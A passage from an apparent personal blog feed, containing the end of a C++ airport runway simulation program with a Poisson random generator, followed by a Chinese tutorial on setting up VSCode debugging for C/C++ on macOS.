endl</div><div class="code-line numbered-code-line" data-line-number="168">			&#x3C;&#x3C; <span class="hljs-string">"Ratio for successfully landed flights:         "</span> &#x3C;&#x3C; <span class="hljs-built_in">percentage</span>(landingAccepted, landingRequests) &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="169">			&#x3C;&#x3C; <span class="hljs-string">"Ratio for successfully took off flights:       "</span> &#x3C;&#x3C; <span class="hljs-built_in">percentage</span>(landingAccepted, landingRequests) &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="170">			&#x3C;&#x3C; <span class="hljs-string">"Ratio of runaway idle time:                    "</span> &#x3C;&#x3C; <span class="hljs-built_in">percentage</span>(idleUnit, simulationTime) &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="171">			&#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="172">			&#x3C;&#x3C; <span class="hljs-string">"\033[3;2mSimulation finished.\033[0m"</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="173">	}</div><div class="code-line numbered-code-line" data-line-number="174">};</div><div class="code-line numbered-code-line" data-line-number="175"><span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">initilize</span>(<span class="hljs-function hljs-params hljs-type">int</span> &#x26;totalTime, <span class="hljs-function hljs-params hljs-type">int</span> &#x26;queueLimit, <span class="hljs-function hljs-params hljs-type">float</span> &#x26;arrivingRate, <span class="hljs-function hljs-params hljs-type">float</span> &#x26;departureRate) {</div><div class="code-line numbered-code-line" data-line-number="176">	cout &#x3C;&#x3C; <span class="hljs-string">"\033[2J\033[0;0H"</span>;</div><div class="code-line numbered-code-line" data-line-number="177">	cout &#x3C;&#x3C; <span class="hljs-string">"Welcome to the \033[46mAIRPORT SIMULATOR\033[0m."</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="178">	<span class="hljs-built_in">sleep</span>(<span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="179">	cout &#x3C;&#x3C; <span class="hljs-string">"\033[36mPlease enter how many time units you will simulate:\033[0m\n"</span></div><div class="code-line numbered-code-line" data-line-number="180">		 &#x3C;&#x3C; flush;</div><div class="code-line numbered-code-line" data-line-number="181">	cin >> totalTime;</div><div class="code-line numbered-code-line" data-line-number="182">	cout &#x3C;&#x3C; <span class="hljs-string">"\033[36mHow many flights can be waiting to land or takeoff?\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="183">		 &#x3C;&#x3C; flush;</div><div class="code-line numbered-code-line" data-line-number="184">	cin >> queueLimit;</div><div class="code-line numbered-code-line" data-line-number="185">	cout &#x3C;&#x3C; <span class="hljs-string">"\033[36mWhat is the expected arriving flights per unit time?\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="186">		 &#x3C;&#x3C; flush;</div><div class="code-line numbered-code-line" data-line-number="187">	cin >> arrivingRate;</div><div class="code-line numbered-code-line" data-line-number="188">	cout &#x3C;&#x3C; <span class="hljs-string">"\033[36mWhat is the expected departing flights per unit time?\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="189">		 &#x3C;&#x3C; flush;</div><div class="code-line numbered-code-line" data-line-number="190">	cin >> departureRate;</div><div class="code-line numbered-code-line" data-line-number="191">}</div><div class="code-line numbered-code-line" data-line-number="192"></div><div class="code-line numbered-code-line" data-line-number="193"><span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">main</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="194">START:</div><div class="code-line numbered-code-line" data-line-number="195">	<span class="hljs-type">float</span> arrivingRate, departureRate;</div><div class="code-line numbered-code-line" data-line-number="196">	<span class="hljs-type">int</span> totalTime, queueLimit;</div><div class="code-line numbered-code-line" data-line-number="197">	<span class="hljs-built_in">initilize</span>(totalTime, queueLimit, arrivingRate, departureRate);</div><div class="code-line numbered-code-line" data-line-number="198">	<span class="hljs-type">int</span> currentTime;</div><div class="code-line numbered-code-line" data-line-number="199">	<span class="hljs-type">int</span> planeID = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="200">	Random randomSeed;</div><div class="code-line numbered-code-line" data-line-number="201">	Runaway <span class="hljs-function hljs-title">airport</span><span class="hljs-function hljs-params">(queueLimit)</span>;</div><div class="code-line numbered-code-line" data-line-number="202">	<span class="hljs-keyword">for</span> (currentTime = <span class="hljs-number">0</span>; currentTime &#x3C; totalTime; currentTime++) {</div><div class="code-line numbered-code-line" data-line-number="203">		cout &#x3C;&#x3C; <span class="hljs-string">"\033[2m----- Current excution time: "</span> &#x3C;&#x3C; currentTime &#x3C;&#x3C; <span class="hljs-string">" -----\033[0m"</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="204">		<span class="hljs-type">int</span> comingPerUnit = randomSeed.<span class="hljs-built_in">poisson</span>(arrivingRate);</div><div class="code-line numbered-code-line" data-line-number="205">		<span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> num = <span class="hljs-number">0</span>; num &#x3C; comingPerUnit; num++, planeID++) {</div><div class="code-line numbered-code-line" data-line-number="206">			Plane <span class="hljs-function hljs-title">currentPlane</span><span class="hljs-function hljs-params">(planeID, currentTime, toLand)</span>;</div><div class="code-line numbered-code-line" data-line-number="207">			<span class="hljs-keyword">if</span>(airport.<span class="hljs-built_in">CanLand</span>(currentPlane)==fail) {</div><div class="code-line numbered-code-line" data-line-number="208">				currentPlane.<span class="hljs-built_in">reject</span>(currentTime);</div><div class="code-line numbered-code-line" data-line-number="209">			}</div><div class="code-line numbered-code-line" data-line-number="210">		}</div><div class="code-line numbered-code-line" data-line-number="211">		<span class="hljs-type">int</span> departingPerUnit = randomSeed.<span class="hljs-built_in">poisson</span>(departureRate);</div><div class="code-line numbered-code-line" data-line-number="212">		<span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> num = <span class="hljs-number">0</span>; num &#x3C; departingPerUnit; num++, planeID++) {</div><div class="code-line numbered-code-line" data-line-number="213">			Plane <span class="hljs-function hljs-title">currentPlane</span><span class="hljs-function hljs-params">(planeID, currentTime, toTakeoff)</span>;</div><div class="code-line numbered-code-line" data-line-number="214">			<span class="hljs-keyword">if</span>(airport.<span class="hljs-built_in">CanTakeoff</span>(currentPlane)==fail) {</div><div class="code-line numbered-code-line" data-line-number="215">				currentPlane.<span class="hljs-built_in">reject</span>(currentTime);</div><div class="code-line numbered-code-line" data-line-number="216">			}</div><div class="code-line numbered-code-line" data-line-number="217">		}</div><div class="code-line numbered-code-line" data-line-number="218">		Plane movingPlane;</div><div class="code-line numbered-code-line" data-line-number="219">		<span class="hljs-keyword">switch</span> (airport.<span class="hljs-built_in">Act</span>(currentTime, movingPlane)) {</div><div class="code-line numbered-code-line" data-line-number="220">		<span class="hljs-keyword">case</span> letLand:</div><div class="code-line numbered-code-line" data-line-number="221">			movingPlane.<span class="hljs-built_in">land</span>(currentTime);</div><div class="code-line numbered-code-line" data-line-number="222">			<span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="223">		<span class="hljs-keyword">case</span> letTakeoff:</div><div class="code-line numbered-code-line" data-line-number="224">			movingPlane.<span class="hljs-built_in">takeoff</span>(currentTime);</div><div class="code-line numbered-code-line" data-line-number="225">			<span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="226">		<span class="hljs-keyword">case</span> idle:</div><div class="code-line numbered-code-line" data-line-number="227">			cout &#x3C;&#x3C; <span class="hljs-string">"\033[46m[AIRPORT MESSAGE]: Runaway is idle.\033[0m"</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="228">			<span class="hljs-keyword">break</span>;</div><div class="code-line numbered-code-line" data-line-number="229">		}</div><div class="code-line numbered-code-line" data-line-number="230">	}</div><div class="code-line numbered-code-line" data-line-number="231">	airport.<span class="hljs-built_in">SumUp</span>(totalTime);</div><div class="code-line numbered-code-line" data-line-number="232">	<span class="hljs-type">char</span> ch;</div><div class="code-line numbered-code-line" data-line-number="233">	cout &#x3C;&#x3C; <span class="hljs-string">"\033[36mDo you want to initialize another simulation? \n([R] or [r] to restart, any other key to exit.)\033[0m"</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="234">	<span class="hljs-keyword">while</span>(cin.<span class="hljs-built_in">get</span>()!=<span class="hljs-string">'\n'</span>)</div><div class="code-line numbered-code-line" data-line-number="235">		;</div><div class="code-line numbered-code-line" data-line-number="236">	<span class="hljs-keyword">if</span> (<span class="hljs-built_in">toupper</span>(ch = cin.<span class="hljs-built_in">get</span>()) == <span class="hljs-string">'R'</span>)</div><div class="code-line numbered-code-line" data-line-number="237">		<span class="hljs-keyword">goto</span> START;</div><div class="code-line numbered-code-line" data-line-number="238">	<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="239">}</div></code></pre>
<pre><code class="hljs language-c++" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">#<span class="hljs-meta hljs-keyword">ifndef</span> RANDOM_H_INCLUDED</div><div class="code-line numbered-code-line" data-line-number="2">#<span class="hljs-meta hljs-keyword">define</span> RANDOM_H_INCLUDED</div><div class="code-line numbered-code-line" data-line-number="3"></div><div class="code-line numbered-code-line" data-line-number="4">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;iostream></span></div><div class="code-line numbered-code-line" data-line-number="5">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;time.h></span></div><div class="code-line numbered-code-line" data-line-number="6">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;limits.h></span></div><div class="code-line numbered-code-line" data-line-number="7">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;math.h></span></div><div class="code-line numbered-code-line" data-line-number="8">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">"Random.h"</span></div><div class="code-line numbered-code-line" data-line-number="9"></div><div class="code-line numbered-code-line" data-line-number="10"><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;</div><div class="code-line numbered-code-line" data-line-number="11"></div><div class="code-line numbered-code-line" data-line-number="12"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Random</span> {</div><div class="code-line numbered-code-line" data-line-number="13"></div><div class="code-line numbered-code-line" data-line-number="14">  <span class="hljs-keyword">public</span>:</div><div class="code-line numbered-code-line" data-line-number="15">    <span class="hljs-built_in">Random</span>(<span class="hljs-type">bool</span> pseudo = <span class="hljs-literal">true</span>);</div><div class="code-line numbered-code-line" data-line-number="16">    <span class="hljs-function hljs-type">double</span> <span class="hljs-function hljs-title">random_real</span><span class="hljs-function hljs-params">()</span>;</div><div class="code-line numbered-code-line" data-line-number="17">    <span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">random_integer</span>(<span class="hljs-function hljs-params hljs-type">int</span> low, <span class="hljs-function hljs-params hljs-type">int</span> high);</div><div class="code-line numbered-code-line" data-line-number="18">    <span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">poisson</span>(<span class="hljs-function hljs-params hljs-type">double</span> mean);</div><div class="code-line numbered-code-line" data-line-number="19"></div><div class="code-line numbered-code-line" data-line-number="20">  <span class="hljs-keyword">private</span>:</div><div class="code-line numbered-code-line" data-line-number="21">    <span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">reseed</span><span class="hljs-function hljs-params">()</span>;                 <span class="hljs-comment">//  Re-randomize the seed.</span></div><div class="code-line numbered-code-line" data-line-number="22">    <span class="hljs-type">int</span> seed, multiplier, add_on; <span class="hljs-comment">//  constants for use in arithmetic operations</span></div><div class="code-line numbered-code-line" data-line-number="23">};</div><div class="code-line numbered-code-line" data-line-number="24"></div><div class="code-line numbered-code-line" data-line-number="25"><span class="hljs-comment">/*
 Post: The values of seed, add_on, and multiplier are
        initialized.  The seed is initialized randomly only if pseudo == false.
*/</span></div><div class="code-line numbered-code-line" data-line-number="26">Random::<span class="hljs-built_in">Random</span>(<span class="hljs-type">bool</span> pseudo) {</div><div class="code-line numbered-code-line" data-line-number="27">    <span class="hljs-keyword">if</span> (pseudo)</div><div class="code-line numbered-code-line" data-line-number="28">        seed = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="29">    <span class="hljs-keyword">else</span></div><div class="code-line numbered-code-line" data-line-number="30">        seed = <span class="hljs-built_in">time</span>(<span class="hljs-literal">NULL</span>) % INT_MAX;</div><div class="code-line numbered-code-line" data-line-number="31">    multiplier = <span class="hljs-number">2743</span>; <span class="hljs-comment">// 斜率</span></div><div class="code-line numbered-code-line" data-line-number="32">    add_on = <span class="hljs-number">5923</span>;     <span class="hljs-comment">// 位移</span></div><div class="code-line numbered-code-line" data-line-number="33">}</div><div class="code-line numbered-code-line" data-line-number="34"></div><div class="code-line numbered-code-line" data-line-number="35"><span class="hljs-comment">// Post: The seed is replaced by a pseudorandom successor.</span></div><div class="code-line numbered-code-line" data-line-number="36"><span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">Random::reseed</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="37">    seed = seed * multiplier + add_on;</div><div class="code-line numbered-code-line" data-line-number="38">    <span class="hljs-keyword">return</span> seed;</div><div class="code-line numbered-code-line" data-line-number="39">}</div><div class="code-line numbered-code-line" data-line-number="40"></div><div class="code-line numbered-code-line" data-line-number="41"><span class="hljs-comment">// Post: A random real number between 0 and 1 is returned.</span></div><div class="code-line numbered-code-line" data-line-number="42"><span class="hljs-function hljs-type">double</span> <span class="hljs-function hljs-title">Random::random_real</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="43">    <span class="hljs-type">double</span> max = INT_MAX + <span class="hljs-number">1.0</span>; <span class="hljs-comment">//INT_MAX = (2)31 -1</span></div><div class="code-line numbered-code-line" data-line-number="44">    <span class="hljs-type">double</span> temp = <span class="hljs-built_in">reseed</span>();</div><div class="code-line numbered-code-line" data-line-number="45">    <span class="hljs-keyword">if</span> (temp &#x3C; <span class="hljs-number">0</span>)</div><div class="code-line numbered-code-line" data-line-number="46">        temp = temp + max;</div><div class="code-line numbered-code-line" data-line-number="47">    <span class="hljs-keyword">return</span> temp / max;</div><div class="code-line numbered-code-line" data-line-number="48">}</div><div class="code-line numbered-code-line" data-line-number="49"></div><div class="code-line numbered-code-line" data-line-number="50"><span class="hljs-comment">// 这个函数在泊松分布中没有用到</span></div><div class="code-line numbered-code-line" data-line-number="51"><span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">Random::random_integer</span>(<span class="hljs-function hljs-params hljs-type">int</span> low, <span class="hljs-function hljs-params hljs-type">int</span> high) {</div><div class="code-line numbered-code-line" data-line-number="52">    <span class="hljs-type">double</span> max = INT_MAX + <span class="hljs-number">1.0</span>; <span class="hljs-comment">//INT_MAX = (2)31 -1</span></div><div class="code-line numbered-code-line" data-line-number="53">    <span class="hljs-type">double</span> temp = <span class="hljs-built_in">reseed</span>();</div><div class="code-line numbered-code-line" data-line-number="54">    <span class="hljs-keyword">if</span> (temp &#x3C; <span class="hljs-number">0</span>)</div><div class="code-line numbered-code-line" data-line-number="55">        temp = temp + max;</div><div class="code-line numbered-code-line" data-line-number="56">    <span class="hljs-keyword">return</span> (<span class="hljs-type">int</span>)(temp / (max / (high - low + <span class="hljs-number">1.0</span>) + low)); <span class="hljs-comment">// 返回整数，且有规定范围</span></div><div class="code-line numbered-code-line" data-line-number="57">}</div><div class="code-line numbered-code-line" data-line-number="58"></div><div class="code-line numbered-code-line" data-line-number="59"><span class="hljs-comment">// 泊松分布的实现</span></div><div class="code-line numbered-code-line" data-line-number="60"><span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">Random::poisson</span>(<span class="hljs-function hljs-params hljs-type">double</span> mean) {</div><div class="code-line numbered-code-line" data-line-number="61">    <span class="hljs-type">double</span> x = <span class="hljs-number">-1</span>;</div><div class="code-line numbered-code-line" data-line-number="62">    <span class="hljs-type">double</span> u;</div><div class="code-line numbered-code-line" data-line-number="63">    <span class="hljs-type">double</span> log1, log2;</div><div class="code-line numbered-code-line" data-line-number="64">    log1 = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="65">    log2 = -mean;</div><div class="code-line numbered-code-line" data-line-number="66">    <span class="hljs-keyword">do</span></div><div class="code-line numbered-code-line" data-line-number="67">    {</div><div class="code-line numbered-code-line" data-line-number="68">        u = <span class="hljs-built_in">random_real</span>();</div><div class="code-line numbered-code-line" data-line-number="69">        log1 += <span class="hljs-built_in">log</span>(u);</div><div class="code-line numbered-code-line" data-line-number="70">        x++;</div><div class="code-line numbered-code-line" data-line-number="71">    } <span class="hljs-keyword">while</span> (log1 >= log2);</div><div class="code-line numbered-code-line" data-line-number="72">    <span class="hljs-keyword">return</span> x;</div><div class="code-line numbered-code-line" data-line-number="73">}</div><div class="code-line numbered-code-line" data-line-number="74"></div><div class="code-line numbered-code-line" data-line-number="75">#<span class="hljs-meta hljs-keyword">endif</span> <span class="hljs-meta hljs-comment">// RANDOM_H_INCLUDED</span></div></code></pre>]]></description>
            <link>https://jtchen.io/blog/airport-simulation</link>
            <guid isPermaLink="false">airport-simulation</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Fri, 29 Mar 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[使用 VSCode 在 Mac 上配置 C/C++ 调试环境]]></title>
            <description><![CDATA[<h2 id="background"><a href="#background">Background</a></h2>
<p>VSCode 是微软开发的一款开源代码编辑器，具有可拓展性强，多语言支持，跨平台等优点，在不同的个性化配置下几乎可以用作所有的轻量级开发。我在初学 C 的时候也使用的是类似于 Xcode、Visual Studio 等大型 IDE 来新建一个 C 语言工程，编写一个仅含有 main 函数的文件，显得过于大材小用了。后来学校推荐使用的 Code::Blocks 和 Dev C++ 也已经多年没有更新，且界面古老，对 Mac 的支持也很差。直到使用了 VSCode 并正确配置了之后，我似乎找到了当下最适合用于学习 C/C++ 的代码编辑器。</p>
<h2 id="下载与安装"><a href="#下载与安装">下载与安装</a></h2>
<p><a href="https://code.visualstudio.com/"><strong>https://code.visualstudio.com/</strong></a></p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074535.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074535.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h2 id="配置调试环境"><a href="#配置调试环境">配置调试环境</a></h2>
<p>首先你需要在你的硬盘上新建一个文件夹用于存放你的代码文件。我这里使用的是 LearningRepo。在新建一个 C 或者 C++ 文件后会自动提示安装 Extension For C/C++ Support。你也可以在插件页手动安装。如果你喜欢中文界面，直接在插件中搜索 Chinese 就可以得到中文语言支持。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074540.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074540.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>此时你已经可以新建代码文件并编辑。但为了能在终端中直接调试代码，我们还需要配置 Launch.json 和 task.json。</p>
<h3 id="配置-launchjson"><a href="#配置-launchjson">配置 launch.json</a></h3>
<p>进入左侧的调试页面，选择 [添加配置...]，就会自动在你的工作目录下新建一个.vscode 文件来存放你的调试配置。这里我们选择 C/C++: (lldb) Launch。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074541.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074541.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>对于这里的配置，官方的文档里（ <a href="https://go.microsoft.com/fwlink/?linkid=830387">https://go.microsoft.com/fwlink/?linkid=830387</a> ）有详细的说明。对于一般用户，我在这里修改成了如下配置。</p>
<pre><code class="hljs language-json" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"> <span class="hljs-punctuation">{</span></div><div class="code-line numbered-code-line" data-line-number="2">            <span class="hljs-attr">"preLaunchTask"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"build c++"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="3">            <span class="hljs-attr">"name"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"Launch C++"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="4">            <span class="hljs-attr">"type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"cppdbg"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="5">            <span class="hljs-attr">"request"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"launch"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="6">            <span class="hljs-attr">"program"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"${workspaceFolder}/temp/${fileBasenameNoExtension}.out"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="7">            <span class="hljs-attr">"args"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="8">            <span class="hljs-attr">"stopAtEntry"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal hljs-keyword">false</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="9">            <span class="hljs-attr">"cwd"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"${workspaceFolder}"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="10">            <span class="hljs-attr">"environment"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="11">            <span class="hljs-attr">"externalConsole"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal hljs-keyword">true</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="12">            <span class="hljs-attr">"MIMode"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"lldb"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="13"><span class="hljs-punctuation">}</span></div></code></pre>
<p>大部分保持默认，需要修改的地方如下：</p>
<p>preLaunchTask：手动添加的参数，稍后我们会自行编辑的一个任务，其作用是将当前文件编译成可执行文件。</p>
<p>program：需要和稍后配置的 task 相对应，即打算运行的程序。需要设置为二进制程序目录而不是源代码文件。</p>
<p>externalConsole：设置为 true 来在外置终端（macOS 自带的）中运行程序。该选项设置为 false 的话会在内置终端中运行，无法输入数据（应该有解决方法，但我目前没有发现）</p>
<p>如果你需要打开日志来排查问题，加入以下内容：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">        "logging": {</div><div class="code-line numbered-code-line" data-line-number="2">            //   "engineLogging": true,</div><div class="code-line numbered-code-line" data-line-number="3">            "trace": true,</div><div class="code-line numbered-code-line" data-line-number="4">            "traceResponse": true,</div><div class="code-line numbered-code-line" data-line-number="5">        }</div></code></pre>
<p>这个运行任务的意思就是首先运行一个 build c++ 的 task 来，得到可执行文件，接着再运行并调试这个文件。</p>
<h3 id="配置-taskjson"><a href="#配置-taskjson">配置 task.json</a></h3>
<p>对于默认快捷键，点击 command+P 并输入 > task 来新建一个生成任务。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074542.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074542.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>在该文件里，我们配置一个名为 build c++ 的 task，将文件编译到工作目录下 temp 文件夹下的对应文件（你也可以自行配置生成目录，但需要和上面的 launch.json 相对应。我的 build c++ 配置如下：</p>
<pre><code class="hljs language-json" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-punctuation">{</span></div><div class="code-line numbered-code-line" data-line-number="2">            <span class="hljs-attr">"label"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"build c++"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="3">            <span class="hljs-attr">"type"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"shell"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="4">            <span class="hljs-attr">"command"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"g++"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="5">            <span class="hljs-attr">"args"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span></div><div class="code-line numbered-code-line" data-line-number="6">                <span class="hljs-string">"${file}"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="7">                <span class="hljs-string">"-std=c++17"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="8">                <span class="hljs-string">"-o"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="9">                <span class="hljs-string">"${workspaceFolder}/temp/${fileBasenameNoExtension}.out"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="10">                <span class="hljs-string">"-g"</span></div><div class="code-line numbered-code-line" data-line-number="11">            <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="12">            <span class="hljs-attr">"group"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"build"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="13">            <span class="hljs-attr">"presentation"</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span></div><div class="code-line numbered-code-line" data-line-number="14">                <span class="hljs-attr">"echo"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal hljs-keyword">true</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="15">                <span class="hljs-attr">"focus"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal hljs-keyword">false</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="16">                <span class="hljs-attr">"panel"</span><span class="hljs-punctuation">:</span><span class="hljs-string">"shared"</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="17">                <span class="hljs-attr">"showReuseMessage"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal hljs-keyword">true</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="18">                <span class="hljs-attr">"clear"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal hljs-keyword">false</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="19">                <span class="hljs-attr">"reveal"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"silent"</span></div><div class="code-line numbered-code-line" data-line-number="20">            <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span></div><div class="code-line numbered-code-line" data-line-number="21"><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span></div></code></pre>
<p>大多数配置保持默认即可。我这里修改的地方主有：</p>
<p>label：任务名称，和 launch.json 对应</p>
<p>command：g++ 来编译 C++，gcc 来编译 C</p>
<p>args：即命令行运行参数。我在这里使用的 C17 标准。-o 下面的一个参数即为输出目录。其中 ${fileBasenameNoExtension} 表示没有拓展名的文件名。</p>
<p>配置好以上两个文件后，你应该就可以在调试界面运行程序并设置断点、监视变量了。如果出现变量未验证（Unverified Breakpoint）的问题，文末有一个常见的解决方案。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074545.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074545.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h2 id="个性化"><a href="#个性化">个性化</a></h2>
<p>之前 Visual Studio 特别吸引人的一点就是在输入完一行代码后，编辑器会自动帮我在诸如运算符左右的地方加上空格并整理大括号的位置。这一 Auto Formatting 功能在 VSCode 下也得到了保留。可以按需在设置里开启 Format On Paste, Format on Save, Format On Type 的选项。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074548.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074548.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>此外，在商店市场里还有许多配色主题和图标主题可以选择。</p>
<h2 id="一些-tips"><a href="#一些-tips">一些 Tips</a></h2>
<h3 id="无法设置断点的解决方案"><a href="#无法设置断点的解决方案">无法设置断点的解决方案</a></h3>
<p>前阵子会很莫名其妙地遇到部分 c 语言文件中的断点无法正常停止的问题。所有断点打开后都会提示 Unverified Breakpoint，但有些文件却可以正常打断点。搜索许久未果，为此还特地开了一个 GitHub 的的 issue（<a href="https://github.com/Microsoft/vscode-cpptools/issues/3246">https://github.com/Microsoft/vscode-cpptools/issues/3246</a>）。</p>
<p>后来其实解决方案很简单。<strong>文件目录里不要有空格</strong>就好了。</p>
<p>（摔</p>
<h3 id="将你的文件夹托管到-github"><a href="#将你的文件夹托管到-github">将你的文件夹托管到 GitHub</a></h3>
<p>使用<a href="https://desktop.github.com/">GitHub Desktop</a>可以可视化地将代码托管到 GitHub。但 VSCode 也内置了源代码管理。大多数基本操作都可以在这里完成。你还可以下载 Git History 插件来查看提交情况。如果该文件夹还没有一个 Git 仓库，只需要点击初始化就可以了。</p>
